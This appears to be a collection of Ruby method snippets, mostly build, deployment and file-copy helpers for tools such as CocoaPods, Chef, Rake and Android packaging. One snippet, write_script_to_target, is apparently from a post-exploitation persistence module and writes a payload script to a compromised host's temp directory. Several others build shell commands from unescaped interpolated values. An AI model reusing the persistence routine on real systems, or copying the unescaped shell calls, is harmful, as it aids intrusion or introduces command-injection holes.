script_name = File.basename(action_path)\n if windows?\n win_path = @nsh.dos_path(target_path)\n ext = \"bat\"\n script_path = \"#{win_path}\\\\#{script_name}\"\n else\n ext = \"sh\"\n script_path = \"#{target_path}/#{script_name}\"\n end\n log \"Executing via wrapper script:\"\n wrapper_script.chomp!(\"\\r\") \n if wrapper_script.include?(\"%%\")\n wrapper_script.gsub!(\"%%\", script_path)\n else\n wrapper_script += \" #{script_path}\"\n wrapper_script += lb\n end\n new_path = create_temp_action(wrapper_script, \"wrapper_#{precision_timestamp}.#{ext}\")\n log \"\\t Target: #{new_path}\"\n log \"\\t Wrapper: #{wrapper_script}\"\n result = @nsh.ncp(servers, action_path, target_path)\n log \"\\t Copy Results: #{result}\"\n new_path\n end", "def postscript(ant, build_environment, product_directory, *args)\n if repo = config_source[MAVEN_REPO_CONFIG_KEY]\n maven = MavenDeploy.new(:repository_url => repo,\n :repository_id => config_source[MAVEN_REPO_ID_CONFIG_KEY],\n :snapshot => config_source[MAVEN_SNAPSHOT_CONFIG_KEY])\n args.each do |arg|\n next unless arg\n if arg['file']\n file = FilePath.new(product_directory, interpolate(arg['file'])).to_s\n else\n file = FilePath.new(arg['srcfile']).to_s\n end\n\n artifact = arg['artifact']\n version = arg[MAVEN_VERSION_CONFIG_KEY] || config_source[MAVEN_VERSION_CONFIG_KEY] ||\n config_source['version'] || build_environment.version\n maven.deploy_file(file, artifact, version, arg['pom'])\n end\n end\n end", "def copy_script(vagrantcfg, source, target)\n vagrantcfg.vm.provision \"file\", source: source, destination: target\n vagrantcfg.vm.provision \"shell\", inline: \"dos2unix #{target}\"\n vagrantcfg.vm.provision \"shell\", inline: \"chmod a+x #{target}\"\nend", "def setup_target\n link_target_task project.target, (project.sources + [project.main]).map {|fn| objectsify fn }\n end", "def add_check_manifest_lock_script_phase\n phase_name = CHECK_MANIFEST_PHASE_NAME\n native_targets.each do |native_target|\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + phase_name)\n native_target.build_phases.unshift(phase).uniq! unless native_target.build_phases.first == phase\n phase.shell_script = <<-SH.strip_heredoc\n diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\n if [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\n fi\n # This output is used by Xcode 'outputs' to avoid re-running this script phase.\n echo \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n SH\n phase.input_paths = %w(${PODS_PODFILE_DIR_PATH}/Podfile.lock ${PODS_ROOT}/Manifest.lock)\n phase.output_paths = [target.check_manifest_lock_script_output_file_path]\n end\n end", "def perform_deployment\n \tself.started_at = Time.now \t\n \tline = Cocaine::CommandLine.new(\"cd /home/mohkhan.Desktop/SFDC_DeplomentScripts && perl fetch_and_deploy.pl -r #{self.release} -d <#{self.target_config_name}> --mode=#{self.mode}\")\n \tline.run\n \tself.ended_at = Time.now\n \tself.status = \"deployed\"\n \tself.save\n end", "def build_intermediate_apk( target ) \n cp @intermediate_apk, target\n end", "def action_create\n\n install_prerequisites\n\n node.set['pedant'][new_resource.variant]['etc_dir'] = new_resource.config_dir\n\n directory new_resource.config_dir do\n owner new_resource.user\n group new_resource.group\n mode \"0755\"\n recursive true\n end\n\n source_dir = \"#{new_resource.checkout_dir}/#{new_resource.variant}\"\n\n git new_resource.variant do\n destination source_dir\n repository \"git@github.com:opscode/#{new_resource.variant}.git\"\n revision new_resource.revision\n user new_resource.git_user\n end\n\n node.set['pedant'][new_resource.variant]['dir'] = \"/srv/#{new_resource.variant}\"\n\n link node['pedant'][new_resource.variant]['dir'] do\n to source_dir\n end\n\n template \"#{new_resource.config_dir}/pedant_config.rb\" do\n source new_resource.config_template\n owner new_resource.user\n group new_resource.group\n mode \"0644\"\n variables(new_resource.variables)\n end\n\n execute \"bundle install\" do\n cwd node['pedant'][new_resource.variant]['dir']\n # user \"opscode\"\n end\n\nend", "def target_script\n target_language.standard_script\n end", "def copy_files_to_target\n COMMON_RAMMER_FILES.each do |file|\n source = File.join(\"#{@gem_path}/lib/modules/common/\",file)\n FileUtils.cp(source,\"#{@project_name}\")\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\t#{file}\"\n end\n end", "def test_copy_using_cp\n @rogerfile.release(blank: true, cleanup_build: false)\n @project.construct.file \"html/test.txt\"\n @project.release.run!\n\n build_path = @project.release.build_path\n\n assert build_path.exist?\n assert_equal 1, build_path.children.size\n assert_equal build_path + \"test.txt\", build_path.children.first\n end", "def copy_scripts\n script_list.each do |name|\n source = File.join(__dir__, \"script/#{name}.bash\")\n dest = File.expand_path(\"~/.#{name}-goodies.bash\")\n puts \"Copy #{name}-goodies\".green\n `cp #{source} #{dest}`\n end\nend", "def build_script\n File.join(data_dir, 'build-script')\n end", "def integrate!\n UI.section(integration_message) do\n target_installation_result.non_library_specs_by_native_target.each do |native_target, spec|\n add_embed_frameworks_script_phase(native_target, spec)\n add_copy_resources_script_phase(native_target, spec)\n add_on_demand_resources(native_target, spec) if spec.app_specification?\n UserProjectIntegrator::TargetIntegrator.create_or_update_user_script_phases(script_phases_for_specs(spec), native_target)\n end\n add_copy_dsyms_script_phase(target_installation_result.native_target)\n add_copy_xcframeworks_script_phase(target_installation_result.native_target)\n UserProjectIntegrator::TargetIntegrator.create_or_update_user_script_phases(script_phases_for_specs(target.library_specs), target_installation_result.native_target)\n end\n end", "def exec\n FileUtils.cd(@dest) do\n puts \"Running `bundle install` in #{Dir.pwd}\"\n system(\"bundle install\")\n end\n end", "def initialize_setup\n super\n snippet_content_path = File.expand_path(File.join(static_content_path(__FILE__, 'cookbook_base'))) + '/.'\n @flavor.class.do_add_content do\n tocopy << [snippet_content_path]\n end\n end", "def postscript(ant, build_environment, product_directory, *args)\n return if @no_demo\n\n # first and only argument is a hash\n arg = args[0]\n\n dest = File.join(product_directory.to_s, arg['dest'])\n agent_pattern = arg['agent-pattern']\n provider_pattern = arg['provider-pattern']\n reference_file = arg['reference-file']\n work_dir = File.join(Dir.tmpdir, \"tcbuild-extract\")\n\n # look up the agent jar\n agent_jar = nil\n Dir.chdir(dest) do |path|\n Dir.glob(agent_pattern + \"*.jar\") { |filename|\n agent_jar = File.join(path, filename)\n }\n fail(\"Can't find agent jar with pattern #{agent_pattern}\") unless File.exists?(agent_jar)\n end\n\n # extract provider from agent jar\n ant.unzip(:src => agent_jar, :dest => work_dir) do\n ant.patternset(:includes => \"**/\" + provider_pattern + \"*.jar\")\n end\n\n # look up provider jar\n provider_jar = nil\n Dir.chdir(File.join(work_dir, \"TIMs\")) do |path|\n Dir.glob(provider_pattern + \"*.jar\") { |filename|\n provider_jar = File.join(path, filename)\n }\n fail(\"Can't find provider jar with pattern #{provider_pattern}\") unless File.exists?(provider_jar)\n end\n\n # extract reference-config.xml from provider jar\n ant.unzip(:src => provider_jar, :dest => work_dir) do\n ant.patternset(:includes => reference_file)\n end\n\n ref_path = File.join(work_dir, reference_file)\n fail(\"Reference config is not found #{ref_path}\") unless File.exists?(ref_path)\n \n # copy it over to dest\n FileUtils.cp ref_path, dest\n\n # clean up\n FileUtils.rm_rf(work_dir)\n end", "def install_env_script(opts={})\n target = opts[:to] || raise(\"Need :to parameter\")\n\n script = 'env.sh'\n dirs = { 'PATH' => { 'insert' => path_dirs_for_distro(:couch_too => true),\n 'append' => [] },\n }\n\n # XXX: Code duplication from :configure.\n dirs['DYLD_LIBRARY_PATH'] = {'insert' => [\"#{target}/lib\"]} if DISTRO[0] == :osx\n\n template = ERB.new(File.open(\"#{HERE}/templates/#{script}.erb\").read())\n FileUtils.mkdir_p(target)\n File.open(\"#{target}/#{script}\", 'w') do |outfile|\n outfile.write(template.result(binding))\n outfile.close\n end\nend", "def register_as_deployed\n AddCommand.exec \"#{self.name}:#{self.root_path}\", 'servers' => [@shell]\n end", "def script_phase(options)\n raise Informative, 'Script phases can only be added within target definitions.' if current_target_definition.root?\n raise Informative, 'Script phases cannot be added to abstract targets.' if current_target_definition.abstract?\n current_target_definition.store_script_phase(options)\n end", "def go_bundles\n FileUtils.cd(TXMP_SUPPORT_PATH + \"/bundles\")\nend", "def compile_and_copy(source_file, *args)\n config = args.last.is_a?(Hash) ? args.pop : {}\n destination = args.first\n context = instance_eval('binding')\n content = ERB.new(::File.binread(source_file)).result(context)\n open(destination, 'w') { |f| f << content }\n end", "def publish!\n mkdir_p File.join(self.publish_path, self.to_s)\n self.targets.each do |tgt|\n install File.join(self.to_s, tgt), File.join(self.publish_path, self.to_s, tgt)\n end\n end", "def define \n desc @description\n task @name => Array(deps) do\n unless Dir.exist?(@outdir)\n Dir.mkdir(@outdir)\n end\n make_file_list\n @file_list.each do |target|\n js = target.execute\n target_file = File.join(@outdir,File.basename(target.file))\n File.open(target_file, 'w') { |f| f.write(js) }\n end\n end\n\n self\n end", "def script_body(project)\n lines = project.build_script_lines\n\n kit = Tetra::Kit.new(project)\n ant_path = kit.find_executable(\"ant\")\n ant_commandline = Tetra::Ant.commandline(\"$PROJECT_PREFIX\", ant_path)\n\n mvn_path = kit.find_executable(\"mvn\")\n mvn_commandline = Tetra::Mvn.commandline(\"$PROJECT_PREFIX\", mvn_path)\n\n lines.map do |line|\n if line =~ /^ant( .*)?$/\n line.gsub(/^ant/, ant_commandline)\n elsif line =~ /^mvn( .*)?$/\n line.gsub(/^mvn/, \"#{mvn_commandline} -o\")\n else\n line\n end\n end\n end", "def build_script\n raise NotImplementedError\n end", "def my_post_build_step\n puts 'post-build step!'\nend", "def deploy repository, branch\n\n super do\n section \"Installing dependencies with #{`bundle -v`.chomp}...\" do\n install_dependencies\n end\n\n section \"Precompiling assets...\" do\n precompile_assets\n end if precompile_assets?\n end\n\n end", "def deploy\n if phase.has_key?('deploy')\n execute(\"deploy\", phase['deploy'])\n end\n end", "def before_save\n # cwd: utunes_app\n logger.info(\"=======> before_save invoked!\")\n \n version_str = sprintf(\"%.2d\", version )\n bundle_title = \"hc12_v#{version_str}\"\n \n #\n # copy template folder\n #\n bundle_folder = \"lib/bundles\"\n bundle_name=\"build_\" + bundle_title\n bundle_fq_name = bundle_folder + \"/\" + bundle_name\n \n template_folder = bundle_folder + \"/\" + \"templates\"\n template_name = \"build_hc12_vnn\"\n template_fq_name = template_folder + \"/\" + template_name\n \n logger.info(\"cp -R #{template_fq_name} #{bundle_fq_name}\")\n logger.info( %x[cp -R #{template_fq_name} #{bundle_fq_name}] )\n \n #\n # move image files to new bundle script folder\n #\n images_folder = \"public/upload\"\n \n image_ls_name = \"hc12_ls.bin\"\n image_fq_ls_name = images_folder + \"/\" + image_ls_name\n \n image_hs_name = \"hc12_hs.bin\"\n image_fq_hs_name = images_folder + \"/\" + image_hs_name\n \n image_fq_ls_target = \"#{bundle_fq_name}/hc12_images/hc12ft.txt\"\n image_fq_hs_target = \"#{bundle_fq_name}/hc12_images/hc12hs.txt\"\n \n logger.info(\"mv #{image_fq_ls_name} #{image_fq_ls_target}\")\n logger.info( %x[mv #{image_fq_ls_name} #{image_fq_ls_target}] )\n \n logger.info(\"mv #{image_fq_hs_name} #{image_fq_hs_target}\")\n logger.info( %x[mv #{image_fq_hs_name} #{image_fq_hs_target}] )\n \n #\n # creation version file\n #\n File.open(bundle_fq_name+\"/hc12_images/version\", \"w\") do |verfile|\n verfile.printf(version_str)\n end\n \n end", "def build filetask,system_config,platform\n cmd_file=command_file(filetask.name,system_config,platform)\n if File.exists?(cmd_file)\n config=system_config.platform_config(platform)\n if cmd_file.end_with?('.library')\n cmdline = librarian(cmd_file,config)\n else\n cmdline = linker(cmd_file,config)\n end\n sh(cmdline.join(' '))\n else\n raise GaudiError, \"Missing command file for #{filetask.name}\"\n end\n end", "def create_js_bundle(scripts)\n filename = js_bundle_filepath(scripts)\n content = @packager.bundle_files(scripts)\n WebResourceBundler::ResourceFile.new_js_file(filename, content)\n end", "def copy_source\n directory('webpack', self.target_path, {\n recursive: true\n })\n end", "def run_bundle ; end", "def run_bundle ; end", "def script_file\n staged_root.join(\"script.sh\")\n end", "def remove_script_phase_from_target(native_target, phase_name)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(phase_name) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def create_compile_ext_tasks(source_root, dest_root, invoking_task)\n compiled_ext = \"#{source_root}/#{SPECIAL_BUNDLE_NAMES[File.basename(source_root)] || File.basename(source_root)}.bundle\"\n create_copy_file_tasks(FileList[compiled_ext], source_root, dest_root, invoking_task)\n file compiled_ext => FileList[\"#{source_root}/*.c\"] do\n cd source_root do\n `ruby extconf.rb; make >/dev/null 2>&1`\n end\n end\nend", "def write_script name, contents\n script_file = \"#{self.scripts_path}/#{name}\"\n\n @shell.make_file script_file, contents,\n :flags => '--chmod=ugo=rwx' unless @shell.file? script_file\n end", "def install\n bin.install \"testscript\"\n end", "def copy_assets\r\n FileUtils.cd('view') do\r\n %w[style.css napoli.png ferraro.svg].each do |name|\r\n FileUtils.cp(name, File.join('..', 'output', name))\r\n end\r\n end\r\nend", "def action_create\n job_name = \"#{@new_resource.job_name}\"\n remote_host = \"#{@new_resource.remote_host}\"\n job_config = \"#{node[:jenkins][:server][:home]}/#{@new_resource.job_name}-config.xml\"\n \n run_commands = Array.new\n to_store_scripts = Array.new\n \n @new_resource.commands.each do |command|\n if (command[:type] == 'script')\n\t to_store_scripts << \"#{command[:content]}\"\n\t command[:fullPath] = \"#{node[:jenkins][:node][:home]}/jenkins-scripts/#{command[:content]}\"\n\telse\n\t command[:fullPath] = \"#{command[:content]}\"\n\tend\n \n if (command[:type] == 'script' && command[:action] == 'run') || command[:type] == 'command'\n run_commands << command\n end\n end\n\n template job_config do\n source \"#{new_resource.config_template}\"\n variables :job_name => job_name, :remote_host => remote_host, :commands => run_commands\n\towner node[:jenkins][:server][:user]\n group node[:jenkins][:server][:group]\n end\n \n \n # Create sh files and upload them to remote host\n to_store_scripts.each do |script|\n \n # create scripts on jenkins server\n cookbook_file \"#{node[:jenkins][:server][:home]}/jenkins-scripts/#{script}\" do\n source \"#{script}\"\n owner node[:jenkins][:server][:user]\n group node[:jenkins][:server][:group]\n action :create\n\t mode \"0755\"\n end\n \n #upload scripts to host only if host is reachable\n\tbash \"upload script #{script} on server #{remote_host}\" do\n user node[:jenkins][:server][:user]\n cwd \"#{node[:jenkins][:server][:home]}/jenkins-scripts/\"\n\t code <<-EOH\nscp #{script} #{node[:jenkins][:node][:user]}@#{remote_host}:#{node[:jenkins][:node][:home]}/jenkins-scripts\nssh #{node[:jenkins][:node][:user]}@#{remote_host} chmod 755 #{node[:jenkins][:node][:home]}/jenkins-scripts/*\nEOH\n only_if \"ping -q -c1 #{remote_host}\"\n end\n end\n\n jenkins_job \"#{@new_resource.job_name}\" do\n action :update\n config job_config\n end \n \n file job_config do\n action :delete\n\tbackup false\n end\r\nend", "def run_bundle; end", "def setup\n @executor.start_section \"Vundle\"\n @executor.create_path_in_home \".vim\", \"bundle\", \"vundle\"\n @executor.execute \"Cloning Vundle\", \"git clone #{@vundle_repo} #{vundle_folder}\" do |output, error_output|\n raise TaskSkipped.new(\"Already exists\") if error_output.include? \"already exists\"\n end\n end", "def write_script_to_target(payloadsource, ext)\n tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP')\n tempfile = tempdir + \"\\\\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ext\n\n begin\n write_file(tempfile, payloadsource)\n print_good(\"Persistent Script written to #{tempfile}\")\n tempfile = tempfile.gsub(/\\\\/, '\\\\') # Escape windows pathname separators.\n rescue\n print_error(\"Could not write the payload on the target hosts.\")\n # return nil since we could not write the file on the target host.\n tempfile = nil\n end\n return tempfile\n end", "def make_agent_script build_spec\n commands = agent_setup_commands\n\n BuildSpecRunner::BuildSpec::PHASES.each do |phase|\n commands.push(*agent_phase_commands(build_spec, phase))\n end\n\n [\"bash\", \"-c\", commands.join(\"\\n\")]\n end", "def make_copy_file_tasks\n @files.each do |source, destination|\n next if source == destination\n next if Rake::FileTask.task_defined? destination\n type = File.directory?(source) ? 'folder' : 'file'\n task = Rake::FileTask.define_task destination do |t|\n folder = File.dirname(t.name)\n FileUtils.mkpath folder unless File.directory? folder\n FileUtils.copy source, t.name\n end\n task.comment = \"Create the #{destination} #{type}\"\n task.enhance ['wix']\n if Rake::FileTask.task_defined? source\n task.enhance [source]\n end\n end\n end", "def bundle()\n puts \"TODO\"\n end", "def define\n @file_target = sprout(gem_name, version)\n @library_path = File.join(@file_target.installed_path, @file_target.archive_path)\n define_file_task(library_path, project_path)\n end", "def common_build\n copy_gems\n end", "def common_build\n copy_gems\n end", "def copy_initializer\n template 'k8s/tests_job.yaml', \"k8s/#{app_name}_tests_job.yaml\"\n template 'k8s/deployment.yaml', \"k8s/#{app_name}_deployment.yaml\"\n template 'k8s/service.yaml', \"k8s/#{app_name}_service.yaml\"\n template 'k8s/setup_job.yaml', \"k8s/#{app_name}_setup_job.yaml\"\n template 'Jenkinsfile', \"Jenkinsfile\"\n template \"Dockerfile.#{docker_base}\", \"Dockerfile\"\n template \"Dockerfile.test.#{docker_base}\", \"Dockerfile.test\"\n template 'database.yml.prod', \"database.yml.prod\"\n template 'database.yml.test', \"database.yml.test\"\n end", "def initialize_target_directory\n # create result directory\n Dir.mkdir(@target_dir) unless Dir.exists?(@target_dir)\n\n # copy vendor assets\n vendor_dir = File.expand_path('../../../vendor/assets', __FILE__)\n FileUtils.cp_r(vendor_dir, @target_dir, remove_destination: true)\n\n # copy local assets\n assets_dir = File.expand_path('../templates/assets', __FILE__)\n FileUtils.cp_r(assets_dir, @target_dir)\n end", "def add_check_manifest_lock_script_phase\n phase_name = 'Check Pods Manifest.lock'\n native_targets.each do |native_target|\n next if native_target.shell_script_build_phases.any? { |phase| phase.name == phase_name }\n phase = native_target.project.new(Xcodeproj::Project::Object::PBXShellScriptBuildPhase)\n native_target.build_phases.unshift(phase)\n phase.name = phase_name\n phase.shell_script = <<-EOS.strip_heredoc\n diff \"${PODS_ROOT}/../Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\n if [[ $? != 0 ]] ; then\n cat << EOM\n error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\n EOM\n exit 1\n fi\n EOS\n phase.show_env_vars_in_log = '0'\n end\n end", "def pack\n #Throw the postflight script into the Scripts directory\n safe_system(\"sudo #{INSTALL} -m 0755 postflight #{@working_tree['SCRIPT_D']}\")\n safe_system(\"sudo #{INSTALL} -m 0755 Welcome.txt #{@working_tree['RESOURCE_D']}\")\nend", "def create_embed_frameworks_phase(project, t)\n \n t.build_phases.delete_if { |phase| \n phase.to_s == 'Embed Frameworks'\n }\n\n embed_frameworks_build_phase = project.new(\n Xcodeproj::Project::Object::PBXCopyFilesBuildPhase\n )\n\n embed_frameworks_build_phase.name = 'Embed Frameworks'\n embed_frameworks_build_phase.symbol_dst_subfolder_spec = :frameworks\n t.build_phases << embed_frameworks_build_phase\n return embed_frameworks_build_phase\nend", "def proc_file_toinst(new_file_hash, root_new_files)\n new_file = new_file_hash[:src]\n dst_file = new_file_hash[:dst]\n @log.debug(\"Processing file: #{new_file}\")\n app_dir_dst = File.join(@target_app_root_path, @app_root_subfolder)\n old_dst_file = File.join(app_dir_dst, dst_file)\n src_file = File.join(root_new_files, new_file)\n # copy file\n FileUtils.cp_r(src_file, old_dst_file)\n @log.debug(\"Copy file #{src_file} to #{old_dst_file}\")\n rescue\n @log.error(\"proc_file_toinst error #{$!}\")\n end", "def add_wpcontent(sharedPath, application)\n Chef::Log.info \"Caylent-deploy.add_wpcontent:Wordpress add copy from #{node[:deploy][application][:current_path]}/wp-content\"\n Chef::Log.info \"Caylent-deploy.add_wpcontent:Wordpress add copy to #{sharedPath}\"\n execute \"copy wordpress framework\" do\n command \"rsync --recursive --compress #{node[:deploy][application][:current_path]}/wp-content/* #{sharedPath}\"\n only_if { File.exists?(\"#{node[:deploy][application][:current_path]}/wp-content\")}\n end\n \n end", "def hook_add_files\n @flavor.class.before_add_files do |files, resource_action|\n if :create == resource_action && fail_on_clobber\n files.each do |file|\n if File.exist?(destination_path(file))\n fail \"tried to overwrite file #{file}; pass '-a clobber' to override\"\n end\n end\n end\n end\n end", "def install_user_hook_scripts(ct)\n tar.each do |entry|\n next if !entry.full_name.start_with?('hooks/') || !entry.file? \\\n || entry.full_name.count('/') > 1\n\n name = File.basename(entry.full_name)\n next unless Container::Hook.exist?(name.gsub(/-/, '_').to_sym)\n\n copy_file_to_disk(entry, File.join(ct.user_hook_script_dir, name))\n end\n end", "def install_custom!\n package package_name do\n source new_resource.source.to_s\n checksum new_resource.checksum unless new_resource.checksum.nil?\n end\n end", "def copy_libs\n path_to_original_lib = File.dirname(__FILE__) # File.dirname(__FILE__) is the location of this file, that give the path of the main lib folder\n libs_to_copy = ['log.rb', 'files_manager.rb', 'command.rb'] # List of Libraries copied in the project folder for standalone run\n libs_dest_dir = \"#{@project_path}/#{@libdir}\" # Dir used to store libraries, to run the rakefile\n lib_dir = File.expand_path(libs_dest_dir) # get the absolute path\n FileUtils.mkdir_p libs_dest_dir # Create the output_dir if it doesn't exist\n for lib in libs_to_copy\n lib_file = \"#{path_to_original_lib}/#{lib}\"\n (@log.fatal { \"Workflow Finalisation : cannot copy the library #{lib_file} \" }; exit ) if not File.file? lib_file\n @log.info \"Workflow Finalisation : Copy libraries for a standalone usage of the rakefiles : #{lib_file}\"\n FileUtils.cp \"#{lib_file}\", libs_dest_dir\n end\n end", "def copy_stage_config\n run \"if [ -f #{release_path}/config/stage_configs/#{stage}.rb ]; then cp #{release_path}/config/stage_configs/#{stage}.rb #{release_path}/config/environments/stage.rb; fi\"\n end", "def prepare_stubbed_script\n base = powershell_shell? ? \"bootstrap.ps1\" : \"bootstrap.sh\"\n config[:script] = File.join(sandbox_path, base)\n info(\"#{File.basename(config[:script])} not found \" \\\n \"so Kitchen will run a stubbed script. Is this intended?\")\n File.open(config[:script], \"wb\") do |file|\n if powershell_shell?\n file.write(%{Write-Host \"NO BOOTSTRAP SCRIPT PRESENT`n\"\\n})\n else\n file.write(%{#!/bin/sh\\necho \"NO BOOTSTRAP SCRIPT PRESENT\"\\n})\n end\n end\n end", "def build\n if phase.has_key?('build')\n execute(\"build\", phase['build'])\n end\n end", "def copy_assets\n FileUtils.cp_r File.join(self.source, '_assets', '.'), self.dest\n end", "def build\n clean_build_directory\n copy_templates\n copy_functions\n copy_includes\n build_assets\n end", "def compile\n File.chmod(0o755, start_script(root))\n augment_classpath_content\n end", "def capify_this_shit\n inject_into_file 'Capfile', after: '# Include tasks from other gems included in your Gemfile' do\n <<-RUBY\n\nrequire 'capistrano/rails'\nrequire 'capistrano/bundler'\nrequire 'capistrano/rails/migrations'\n\n RUBY\n end\n end", "def build\n new_resource.exclude_jars.each do |jar|\n exclude_jar(jar, ::File.join(new_resource.path, 'webapp', 'WEB-INF', 'lib'))\n end\n\n execute \"Building JIRA #{new_resource.version} in #{new_resource.path}\" do\n cwd new_resource.path\n command \"./build.sh #{new_resource.targets}\"\n creates new_resource.file\n only_if { node['jira']['build']['enable'] }\n end\nend", "def pre_build\n puts \"pre_build dir=#{`pwd`}\"\n rbvt = RUBY_V\n rbvm = RUBY_V[/^\\d+\\.\\d+/]\n # remove leftovers from previous rake.\n rm_rf \"#{TGT_DIR}/lib\"\n rm_rf \"#{TGT_DIR}/etc\"\n rm_rf \"#{TGT_DIR}/share\"\n rm_rf \"#{TGT_DIR}/conf.d\"\n mkdir_p \"#{TGT_DIR}/lib\"\n cp_r \"#{EXT_RUBY}/lib/ruby\", \"#{TGT_DIR}/lib\"\n # copy include files\n mkdir_p \"#{TGT_DIR}/lib/ruby/include/ruby-#{rbvt}\"\n cp_r \"#{EXT_RUBY}/include/ruby-#{rbvt}/\", \"#{TGT_DIR}/lib/ruby/include\"\n SOLOCS.each_value do |path|\n cp \"#{path}\", \"#{TGT_DIR}\"\n end\n # do some windows things\n mkdir_p \"#{TGT_DIR}/share/glib-2.0/schemas\"\n if APP['GTK'] == \"gtk+-2.0\" \n cp_r\"#{TGT_SYS_DIR}/share/glib-2.0/schemas/gschema.dtd\",\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp_r \"#{ShoesDeps}/share/fontconfig\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/themes\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/xml\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/icons\", \"#{TGT_DIR}/share\"\n elsif APP['GTK'] == \"gtk+-3.0\"\n cp \"#{TGT_SYS_DIR}share/glib-2.0/schemas/gschemas.compiled\" ,\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp_r \"#{ShoesDeps}/share/fontconfig\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/themes\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/xml\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/icons\", \"#{TGT_DIR}/share\"\n else\n cp \"#{TGT_SYS_DIR}share/glib-2.0/schemas/gschemas.compiled\" ,\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n end\n sh \"#{WINDRES} -I. shoes/appwin32.rc shoes/appwin32.o\"\n cp_r \"#{ShoesDeps}/etc\", TGT_DIR\n mkdir_p \"#{ShoesDeps}/lib\"\n if APP['GTK'] == \"gtk+-3.0\"\n cp_r \"#{ShoesDeps}/lib/gtk-3.0\", \"#{TGT_DIR}/lib\" # shoes, exerb, ruby here\n else\n cp_r \"#{ShoesDeps}/lib/gtk-2.0\", \"#{TGT_DIR}/lib\" # shoes, exerb, ruby here\n end\n bindir = \"#{ShoesDeps}/bin\"\n #cp_r \"#{bindir}/fc-cache.exe\", TGT_DIR\n cp_r \"#{bindir}/gtk-update-icon-cache.exe\", TGT_DIR\n # below for debugging purposes\n if ENV['GDB'] \n cp \"#{bindir}/fc-cat.exe\", TGT_DIR\n cp \"#{bindir}/fc-list.exe\", TGT_DIR\n cp \"#{bindir}/fc-match.exe\", TGT_DIR\n cp \"#{bindir}/fc-pattern.exe\", TGT_DIR\n cp \"#{bindir}/fc-query.exe\", TGT_DIR\n cp \"#{bindir}/fc-scan.exe\", TGT_DIR\n cp \"#{bindir}/fc-validate.exe\", TGT_DIR\n end\n # disable MS Theme\n if !ENABLE_MS_THEME \n Dir.chdir(\"#{TGT_DIR}/share/themes/MS-Windows/gtk-2.0/\") do\n mv 'gtkrc', 'disabled-gtkrc'\n end\n else\n # add our overrides to the MS-Windows theme\n cp \"platform/msw/gtkrc\", \"#{TGT_DIR}/etc/gtk-2.0/\"\n end\n end", "def copy(src,target)\n mkdir_p target if ! File.exist?(target)\n sh 'cp ' + src + '/* ' + target\nend", "def remove_embed_frameworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, EMBED_FRAMEWORK_PHASE_NAME)\n end", "def force_copy\n add option: \"-force-copy\"\n end", "def build_resources( build_also_for_bundle )\n validate\n\n @logger.debug \"Resource dirs for AAPT2 builder: #{@res_dir}\"\n\n flat_list = []\n\n flat_list += compile_res_dir_to_flat(@res_dir)\n\n #Add all resources from maven dependencies\n @maven_deps.res_dirs.each {|d|\n flat_list += compile_res_dir_to_flat(d)\n }\n\n reslist = File.join(@intermediate,'flat.txt')\n File.open( reslist, 'w' ) { |f| f.write flat_list.join(' ') } \n \n\n args_common = [ 'link', \n '-I', @androidjar, \n '--manifest', @manifest, \n '-R', '@'+File.join(reslist),\n '--auto-add-overlay'\n ] \n\n if @no_compress_globs\n @no_compress_globs.each do |ext|\n args_common << '-0'\n args_common << ext\n end\n end\n\n @intermediate_apk = File.join(@intermediate,'output.apk')\n #make a dir to put generated R.java\n rdir = File.join(@intermediate,'rjava')\n mkdir_p (rdir)\n\n args = args_common.clone\n args << '-o'\n args << @intermediate_apk \n args << '--java'\n args << PathToWindowsWay(rdir)\n args << '--output-text-symbols'\n args << PathToWindowsWay(File.join(@rjava_dir, 'R.txt')) \n\n mkdir_p @rjava_dir \n #Finally run link to generate R.java for compiled resources. We need manifest ready at this point\n run_aapt2(args) \n\n #-A option is buggy at least on Windows. It writes \\\\ instead of / to path separators which will affect MANIFEST.MF in target APK and break access to assets\n #So we'll use zip to add assets manually\n #args << \"-A\"\n #args << @assets_dir\n Zip::File.open( @intermediate_apk, create: false ) { |z|\n root = Pathname.new(@assets_dir)\n Dir[File.join(@assets_dir,'**','*')].select{|f| File.file? f}.each{ |f|\n p = Pathname.new(f)\n z.add( File.join('assets',p.relative_path_from(root)) ,f )\n }\n }\n\n if ( build_also_for_bundle )\n #prepared archive name with protobuf data\n @pbprep = File.join(@intermediate,'output_for_bundle.apk')\n\n args_for_bundle = args_common.clone\n args_for_bundle << '-o'\n args_for_bundle << @pbprep \n args_for_bundle << '--proto-format' \n run_aapt2(args_for_bundle) \n end\n \n #We don't really care of package name and relative path where R.java is located\n #We just need to put generated R.java to specified @rjava_dir, so let's just find generated R.java and put it to target dir\n Dir[ File.join(rdir,'**','R.java') ].each { |f|\n cp_r( f, @rjava_dir )\n } \n end", "def initialize_setup\n super\n snippet_content_path = File.expand_path(File.join(static_content_path(__FILE__, 'guard'))) + '/.'\n @flavor.class.do_add_content do\n tocopy << [snippet_content_path]\n end\n end" ]
